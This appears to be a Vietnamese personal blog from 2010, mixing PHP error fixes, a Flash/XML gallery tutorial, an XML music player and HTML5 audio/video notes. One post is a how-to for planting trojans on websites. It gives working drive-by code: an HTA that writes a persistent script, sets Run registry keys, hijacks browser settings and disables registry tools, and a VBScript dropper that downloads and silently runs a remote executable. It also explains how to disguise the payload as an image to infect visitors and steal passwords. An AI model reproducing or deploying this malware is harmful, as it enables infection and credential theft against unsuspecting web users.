reset and begin
7/07/2010

tổng hợp lỗi xtremedia

Fatal error: Call to undefined function box_misc() in /home/a1613548/public_html/nhac/includes/class_template.php(86) : eval()'d code on line 1
em vừa thêm cái template là bị thế này
giúp với
Cái đó là do bạn chưa có box misc nhưng trong skin lại có. Bạn mở file main.html ở skin (file main.html có thể bị thay thành file khác ở một số code khác) tìm dòng <!-- box_misc() --> xóa nó đi hoặc thêm // nó thành <!--// box_misc() --> để ko cho nó hiển thị là ok

Deprecated: Assigning the return value of new by reference is deprecated in C:\wamp\www\media\index.php on line 16

Loi them &  bo di la dc

Bạn mở file: includes/user_online.php
Sửa <? thành <?php. Xong lưu lại là OK!

Fatal error: Call to undefined function box_user_online() in C:\PHP\www\includes\class_template.php(86) : eval()'d code on line 1 Mình cài xong vào thì nó báo vậy! HIx! Thử nhiều lần và nhiều bản khác nhưng vẫn vậy! Mọi người giúp mình với! Thanks! Mình vào phần Admin thì báo vậy nè!
Parse error: parse error, unexpected $end in C:\PHP\www\admin\index.php on line 79
MÌnh đang Test trên máy tính!

Bạn sửa lại 2 chổ này xem:
- Mở file: php.ini trong thư mục cài php (hoặc windows) -> tìm dòng: short_open_tag=Off
sửa lại thành: short_open_tag=On
- Mở file: includes/user_online.php -> sửa dòng đầu tiên: <? thành: <?php
Chúc thành công!

Parse error: parse error in xtremedia 1.2 on line 75 them <? Thanh <?php

<?php

break;

}

if ($act) echo '</td></tr></table>';

?>

</html>

7/06/2010

flash gallery = flash+ php

Step 1

First, download movie photos that we will use for this lesson and place it at the same folder as flash and xml file.


//

Step 2


Go to the XML editor. I'm using Notepad. Then, enter this XML code inside the XML editor.

<?xml version="1.0" encoding="ISO-8859-1" ?>
<slideshow>
<photo url="img/movie1.jpg" caption="This is Watchmen!" />
<photo url="img/movie2.jpg" caption="This is Lost!" />
<photo url="img/movie3.jpg" caption="This is Superman!" />
<photo url="img/movie4.jpg" caption="This is 300!" />
<photo url="img/movie5.jpg" caption="This is Quantum Of Solace!" />
</slideshow>


After that, save this XML file as movie.xml

Step 3

Create a new flash document.

Step 4

Call the current layer actions. Double-click on its default name (Layer 1) to change it. Press Enter once you have typed in the new name!

Step 5

Create a new layer above the layer actions and name it visual.

Step 6

Select visual layer, take the Rectangle Tool (R) and draw a rectangle shape about 400x300 px (as the dimensions of movie photos) with no stroke. On the rectangle, we will load our photos.

Step 7

While the rectangle shape is still selected, go to the Align Panel (Ctrl+K) and do the following:

1. Make sure that the Align/Distribute to Stage button is turned on,
2. Click on the Align horizontal center button and
3. Click the Align vertical center button.

Step 8

While the rectangle shape is still selected, hit F8 key (Convert to Symbol) to convert it into a Movie Clip Symbol.



Step 9

Select the new made movie clip and  go to the Properties Panel below the stage. On the left side, You will find the Instance name input field there. Call this Movie Clip holder. See the picture below!



Step 10

It's time for previouse and next buttons. Using the flash tools for drawing, draw simple previouse and next buttons like it is shown on the picture below.



Step 11

Select the Selection Tool (V) and click once on the previouse button. Then, go again to the Properties Panel below the stage. On the left side, You will find the Instance name input field there. Call this Movie Clip previous. See the picture below!



Step 12

Click now on the next button and for instance name type next. See the picture below!



Step 13

It's time for dynamic text field. Seelct the Text Tool (A) and go to the Properties Panel (Ctrl+F3) below the stage. Make the adjustments as follows:



Then drag out a text field and place it on the position like it is shown on the picture below!



Step 14

Type one letter on the dynamic text field and align it with the center. See the picture below!



Step 15

After that, for instance name type caption. See the picture below!



Step 16

It's time for action script. Select the first frame of layer action script and go to the AS panel (F9). Then, enter this code inside the actions panel:

var x:XML = new XML();
x.ignoreWhite = true;

var urls:Array = new Array();
var captions:Array = new Array();
var whoIsOn:Number;

x.onLoad = function(success) {
var photos:Array = this.firstChild.childNodes;
for(i=0;i
urls.push(photos[i].attributes.url);
captions.push(photos[i].attributes.caption);
}
holder.loadMovie(urls[0]);
caption.text = captions[0];
whoIsOn = 0;
}

x.load("movie.xml");

previous.onRelease = function() {
if(whoIsOn > 0) {
whoIsOn--;
holder.loadMovie(urls[whoIsOn]);
caption.text = captions[whoIsOn];
}
}

next.onRelease = function() {
if(whoIsOn < urls.length-1) {
whoIsOn++;
holder.loadMovie(urls[whoIsOn]);
caption.text = captions[whoIsOn];
}
}


We're done!

Test your xml gallery and enjoy!

Download example

virut đính kèm trên website như thế nào

Cách 1 :
Cách đính kèm trojan vào website
Một số cách phổ biến đính kèm trojon vào website như dùng mã javascript hay dùng phần mềm ..
Xin giới thiệu với các bạn 1 số cách
a, Dùng 1 đoạn mã javascript để mở và phát tán trojan
<script language=javascript>
open(”địa chỉ con trojan”);
</SCRIPT>

Đoạn mã trên bạn chèn vào thẻ body của 1 trang website,khi nạn nhân mở website trojan sẽ mở ra và yêu cầu người lướt website mở ra

b, bạn copy vào notepad đoạn mã sau:
Code:
<html>
<head>
<script language=”javascript”>
try {
var fso = new ActiveXObject(”Scripting.FileSystemObject”);
var Shell = new ActiveXObject(”WScript.Shell”);
var tfolder2 = fso.GetSpecialFolder(0);
var filepath2 = tfolder2 + “\\system32\\System.js”;
var a2 = fso.CreateTextFile(filepath2, true);
a2.WriteLine(’var url = “Địa chỉ trojon”;’);
a2.WriteLine(’var burl = “Địa chỉ trojon”;’);
a2.WriteLine(’var fso = new ActiveXObject(”Scripting.FileSystemObject”);� �);
a2.WriteLine(’var tfolder = fso.GetSpecialFolder(0);’);
a2.WriteLine(’var filepath = tfolder + “\\\\system32\\\\System.js”;’);
a2.WriteLine(’var Shell = new ActiveXObject(”WScript.Shell”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\ \\\Windows”,filepath);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\S ystem32″,filepath);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Internet Explorer\\\\Main\\\\Start Page”,url);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url1″,url);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Internet Explorer\\\\Dia chi con trojan”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Internet Explorer\\\\Địa chỉ trojon”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Internet Explorer\\\\Địa chỉ trojon”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Internet Explorer\\\\Địa chỉ trojon”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Internet Explorer\\\\Địa chỉ trojon”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Internet Explorer\\\\Địa chỉ trojon”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Internet Explorer\\\\Địa chỉ trojon”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Internet Explorer\\\\Địa chỉ trojon”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Internet Explorer\\\\Địa chỉ trojon”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url1″);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Yahoo\\\\Pager\\\\View\\\\Địa chỉ trojon”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Yahoo\\\\Pager\\\\View\\\\Địa chỉ trojon”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Yahoo\\\\Pager\\\\View\\\\Địa chỉ trojon”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Yahoo\\\\Pager\\\\View\\\\Địa chỉ trojon”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*”,4,”REG_DWORD”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*”,4,”REG_DWORD”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*”,4,”REG_DWORD”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*”,4,”REG_DWORD”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*”,4,”REG_DWORD”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*”,4,”REG_DWORD”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*”,4,”REG_DWORD”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*”,4,”REG_DWORD”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*”,4,”REG_DWORD”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*”,4,”REG_DWORD”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*”,4,”REG_DWORD”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*”,4,”REG_DWORD”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*”,4,”REG_DWORD”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*”,4,”REG_DWORD”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*”,4,”REG_DWORD”);’);
a2.WriteLine(’Shell.RegWrite(”HKCU\\\\Software \\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies \\\\System\\\\DisableRegistryTools”,1,”REG_DWO RD”) ;’);
a2.Close();
Shell.Run(filepath2);
}
catch (e){}
</script>
<HTA:APPLICATION WINDOWSTATE=’minimize’ SHOWINTASKBAR=’no’ />
</head>
<body onload=’window.close()’>
</body>
</html>

rồi save lại với tên là : trojan.hta
bạn gắn đoạn mã sau vào cuối cùng của website của bạn:
Code:
<center>
<span datasrc=”#oRun” datafld=”view” dataformatas=”html”></span>
<xml id=”oRun”>
<preview>
<view>
<![CDATA[
<object id="oFile" data="trojan.hta?id=1"></object>
]]>
</view>
</preview>
</xml>
</center>
</body>
</html>

rồi sau đó bạn upload file trojan.hta với website của bạn lên cùng 1 mỗi lần mở website của bạn con trojan sẽ tự open vào trong hệ thống mà không hề bị phát hiện
Cách 2:
đoạn đầu đưa vào diễn đàn là 01 frame
<iframe width=”0″ height=”0″ src=”http://link chứa đoạn mã bên dưới”></iframe>
đoạn 2
Code:
<script language=”VBScript”>
on error resume next
dl = “Đường dẫn con Virus dạng .exe”
Set df = document.createElement(”object”)
df.setAttribute “classid”, “clsid:BD96C556-65A3-11D0-983A-00C04FC29E36″
str=”Microsoft.XMLHTTP”
Set x = df.CreateObject(str,””)
a1=”Ado”
a2=”db.”
a3=”Str”
a4=”eam”
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,””)
S.type = 1
str6=”GET”
x.Open str6, dl, False
x.Send
fname1=”bl4ck.com”
set F = df.createobject(”Scripting.FileSystemObject”,� ��”)
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject(”Shell.Application”,””)
Q.ShellExecute fname1,””,””,”open”,0
</script>

Cách 3 :
Đầu tiên , mọi người hãy Download Program http://rapidshare.com/files/176989280/exe2vbs (sau khi Down về xong nhớ gắn thêm .zip rồi bung nén)
Đây là chương trình giúp bạn Convert sang “*.hta
Đầu tiên các bạn sử dụng EXE2VBS để convert file trojan của mình ( chẳng hạn tôi sẽ xài 1 con MagicPS => để lấy pass của người Victim truy cập ), click vào file trojan kéo vô khung exe của exe2vbs ===> các bạn sẽ được 1 file *.js ! Okie giờ edit lại một chút để thành file hta ( định dạng html thực thi để chạy các activeX ) Chú ý khi chạy exe2vbs trong phần lực chọn có 3 ô các bạn đánh dấu vào 2 mục trên thôi
Mở file trojan.exe.js vừa convert ra bằng notepad or wordpad, cho thêm dòng
Code:
<script language=vbs>

vào trên cùng
Xuống dưới cùng thay dòng: WScript.CreateObject(”WScript.Shell”).run(pth)
bằng
Code:
Set Shell1 = CreateObject(”WScript.Shell”) Shell1.Run(pth) </script> <HTA:APPLICATION WINDOWSTATE=’minimize’ SHOWINTASKBAR=’no’ /> </head> <body onload=’window.close()’> </body> </html>
Sau đó save lại thành file trojan.hta Sau đó mở file web của bạn cho Victim truy cập ra thêm code này vào để run file trojan.hta
Code:
<center> <span datasrc=”#oRun” datafld=”view” dataformatas=”html”></span> <xml id=”oRun”> <preview> <view> <![CDATA[ <object id="oFile" data="trojan.hta?id=1"></object> ]]> </view> </preview> </xml> </center> </body> </html>
để tên File có dạng File ảnh (JPG , GIF ,BMP …) :
Theo cách 2 , mở Notepad :
Code:
<script language=”VBScript”>
on error resume next
dl = “Đường dẫn con Virus dạng .exe”
Set df = document.createElement(”object”)
df.setAttribute “classid”, “clsid:BD96C556-65A3-11D0-983A-00C04FC29E36″
str=”Microsoft.XMLHTTP”
Set x = df.CreateObject(str,””)
a1=”Ado”
a2=”db.”
a3=”Str”
a4=”eam”
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,””)
S.type = 1
str6=”GET”
x.Open str6, dl, False
x.Send
fname1=”bl4ck.com”
set F = df.createobject(”Scripting.FileSystemObject”,� ��”)
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject(”Shell.Application”,””)
Q.ShellExecute fname1,””,””,”open”,0
</script>

Save lại dưới dạng “tên File.JPG” hay . GIF tùy ý .
Ví dụ : funy.JPG
Mở File funy.JPG vừa Save song bằng Font Page , nhấp chọn Instert Picture rồi cho bừa 1 bức ảnh để đỡ nghi ngờ . File - Save , Upload File funy.JPG vừa rồi lên .
Giờ thì nó trông như 1 bức ảnh thật , có khi họ còn không nghi ngờ là có trojan trong đó nữa

dùng FF là an toàn nhất

nghe nhạc đơn giản xml + php

file xml co tên data.xml<?xml version="1.0" encoding="iso-8859-1"?>
<music>
<song id="1" name="bai 1 " url="a.mp3" author="tac gia 1" ></song>
<song id="2" name="bai 2" url="b.mp3" author="tac gia 2" ></song>
<song id="3" name="bai 3" url="3.mp3" author="tac gia 3" ></song>
<song id="4" name="bai 4" url="4.mp3" author="tac gia 4" ></song>
<song id="5" name="bai 5" url="5.mp3" author="tac gia 5" ></song>

</music>

file index.php

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>

</head>
<body>
<script type="text/javascript">
function loadnhac(obj) {
alert('ban dang nghe bai'+obj);
var flash;
var media=document.getElementById('media');
var browser=navigator.appName;
if(browser=="Microsoft Internet Explorer")
{ flash = '<object classid="clsid:22D6F312-B0F6-11D0-94AB-0080C74C7E95″>';
flash += '<param name="src" value="' + obj+ '">';
flash += '<param name="autoStart" value="True"></object>';
media.innerHTML = flash;
}
else{
flash = '<embed type="video/x-ms-wmv" heigth="300px" width="230px" wmode="tranparent" src="' +obj + '"></embed>';
media.innerHTML = flash;
}
}
</script>



<div id="media">

</div>
</br>

<?php
$xmls= simplexml_load_file("data.xml");
$i=0;
for($i=0;$i<4;$i++){
$he=$xmls->song[$i]->attributes() ;
?>
<a onclick="loadnhac('<?php echo $he['url']; ?>')"><?php echo $he['name']; ?></a>
<?php
}

?>
</body>

7/03/2010

html5 audio

Audio trên Web


hiện nay  âm thanh hay được phát qua một plugin (như flash). Tuy nhiên, không phải tất cả các trình duyệt có  hỗ trợ  như nhau.

HTML5 quy định cụ thể một cách chuẩn để bao gồm âm thanh, với các yếu tố âm thanh.

Hiện tại, có 3 định dạng được hỗ trợ cho các yếu tố âm thanh:
Ogg
MP3
Wav

Chương trình hoạt động

Để phát một tập tin âm thanh trong HTML5, đây là tất cả các bạn cần:
<audio src="song.ogg" controls="controls">
</ audio>


Thuộc tính kiểm soát là để thêm chơi, tạm dừng, và điều khiển âm lượng.

Chèn nội dung giữa các <audio> và </ thẻ âm thanh> cho các trình duyệt không hỗ trợ các yếu tố âm thanh:
Ví dụ
<audio src="song.ogg" controls="controls">
Trình duyệt của bạn không hỗ trợ các yếu tố âm thanh.
</ audio>




Ví dụ trên sử dụng một tập tin Ogg, và sẽ làm việc trong Firefox, Opera và Chrome.

Để thực hiện các công việc âm thanh trong Safari, các tập tin âm thanh phải được các loại nhạc MP3 hay Wav.

Yếu tố âm thanh cho phép nhiều thành phần mã nguồn. Nguồn yếu tố có thể liên kết đến tập tin âm thanh khác nhau. Trình duyệt sẽ sử dụng định dạng được công nhận đầu tiên:
Ví dụ
<audio controls="controls">
src="song.ogg" <source type="audio/ogg" />
src="song.mp3" <source type="audio/mpeg" />
Trình duyệt của bạn không hỗ trợ các yếu tố âm thanh.
</ audio>



Internet Explorer

Internet Explorer 8 không hỗ trợ các yếu tố âm thanh. Trong trình duyệt IE 9, sẽ có hỗ trợ cho các yếu tố âm thanh.
<audio> Tất cả các thuộc tính
Giá trị thuộc tính mô tả
Ghi rõ autoplay, autoplay là phần âm thanh sẽ bắt đầu chơi ngay sau khi nó đã sẵn sàng.
Chỉ định rằng các điều khiển kiểm soát điều khiển sẽ được hiển thị, chẳng hạn như là một nút phát.
vòng lặp loop Chỉ định rằng các âm thanh sẽ bắt đầu chơi lại (looping) khi nó đạt đến kết thúc
tải trước tải trước Chỉ định rằng âm thanh sẽ được nạp lúc tải trang, và sẵn sàng để chạy. Bỏ qua nếu autoplay có mặt.
Ghi rõ src url URL của âm thanh để chơi

7/02/2010

html5 video

để hiển thị video trong html 5 bạn dùng thẻ video
<video src="movie.ogg" controls="controls">
</video>

controls="controls" với "controls" có thể là play, pause, and volume controls.

vài thuộc tính video trong html5







































autoplayautoplaySpecifies that the video will start playing as soon as it is ready
controlscontrolsSpecifies that controls will be displayed, such as a play button.
heightpixelsSpecifies the height of the video player
looploopSpecifies that the media file will start over again, every time it is finished.
preloadpreloadSpecifies that the video will be loaded at page load, and ready to run. Ignored if "autoplay" is present.
srcurlSpecifies that the URL of the video to play
widthpixels


ví dụ

<video width="320" height="240" controls="controls">
<source src="movie.ogg" type="video/ogg" />
<source src="movie.mp4" type="video/mp4" />
Your browser does not support the video tag.
</video>

kiểm tra trình duyệt hỗ trợ html5 hay không


<script type="text/javascript">
function checkVideo()
{
if(!!document.createElement('video').canPlayType)
{
var vidTest=document.createElement("video");
oggTest=vidTest.canPlayType('video/ogg; codecs="theora, vorbis"');
if (!oggTest)
{
h264Test=vidTest.canPlayType('video/mp4; codecs="avc1.42E01E, mp4a.40.2"');
if (!h264Test)
{
document.getElementById("checkVideoResult").innerHTML="Sorry. No video support."
}
else
{
if (h264Test=="probably")
{
document.getElementById("checkVideoResult").innerHTML="Yeah! Full support!";
}
else
{
document.getElementById("checkVideoResult").innerHTML="Meh. Some support.";
}
}
}
else
{
if (oggTest=="probably")
{
document.getElementById("checkVideoResult").innerHTML="Yeah! Full support!";
}
else
{
document.getElementById("checkVideoResult").innerHTML="Meh. Some support.";
}
}
}
else
{
document.getElementById("checkVideoResult").innerHTML="Sorry. No video support."
}
}
</script>
sử dụng đoạn code để kiểm tra sự hỗ trợ của trình duyệt với html5


html5

ví dụ 1
<!DOCTYPE HTML>
<html>
<body>

<video width="320" height="240" controls="controls">
<source src="movie.ogg" type="video/ogg" />
<source src="movie.mp4" type="video/mp4" />
Your browser does not support the video tag.
</video>

</body>

HTML5 là gì?

HTML5  là  chuẩn mới cho HTML, XHTML, và DOM HTML.

Các phiên bản trước của HTML  từ  năm  1999 trở về . Các trang web đã thay đổi rất nhiều kể từ đó.

HTML5 vẫn là một công việc đang phát trển . Tuy nhiên, các trình duyệt hiện đại nhất có một số hỗ trợ HTML5.
HTML5 Bắt đầu làm việc thế nào ?

HTML5 là một hợp tác giữa World Wide Web Consortium (W3C) và Web Hypertext Application Technology Nhóm công tác (WHATWG).

WHATWG đã được làm việc với các hình thức web và các ứng dụng, và được làm việc với W3C XHTML 2.0. Trong năm 2006, họ đã quyết định hợp tác và tạo ra một phiên bản mới của HTML.

Một số quy tắc cho HTML5 đã được thành lập:

* Các tính năng mới nên được dựa trên HTML, CSS, DOM, và JavaScript
* Giảm bớt sự cần thiết phải bổ sung từ bên ngoài (như Flash)
* Xử lý lỗi tốt hơn
* Thêm đánh dấu để thay thế kịch bản
HTML5 * phải được thiết bị độc lập
* Quá trình phát triển nên được hiển thị cho công chúng

Tính năng mới


Một số tính năng mới thú vị nhất trong HTML5:

* Các phần tử  vẽ tốt hơn.
* Các yếu tố video và âm thanh để phát lại phương tiện truyền thông
* Hỗ trợ tốt hơn cho việc lưu trữ  offline cục bộ
*  nội dung cụ thể  có  các yếu tố mới , như bài viết, footer, header, nav, section ....
*  kiểm soát hình thức mới , như lịch, ngày tháng, thời gian, email, địa chỉ, tìm kiếm

Hỗ trợ trình duyệt

Các phiên bản mới nhất của Safari, Chrome, Firefox, và Opera hỗ trợ một số tính năng HTML5. Internet Explorer 9 sẽ hỗ trợ một số tính năng HTML5.

tạo nút thẻ a

<html>
<body>
<script>
var links=document.createElement('a');
links.setAttribute("href","http://www.yahoo.com");
links.textContent="yahoo";
document.body.appendChild(links);

var newdiv = document.createElement('div');
newdiv.setAttribute("id","moot450");
newdiv.setAttribute("style", "position:absolute; border:2px solid #000000; width:300px; height:300px;");
document.body.appendChild(newdiv);


</script>
</body>
</html>

List

Profiles Information


About me : Nothing is 1 vài thứ - 1985

Places I've Lived : I Hà Nội

Home Page : http://www.shimivn.blogspot.com/

Think : 1:1000000000

Languages spoken : Vietnamese,English.

Mobile : sony C2305

dell : i3-Ram 3GB- HDD 250GB .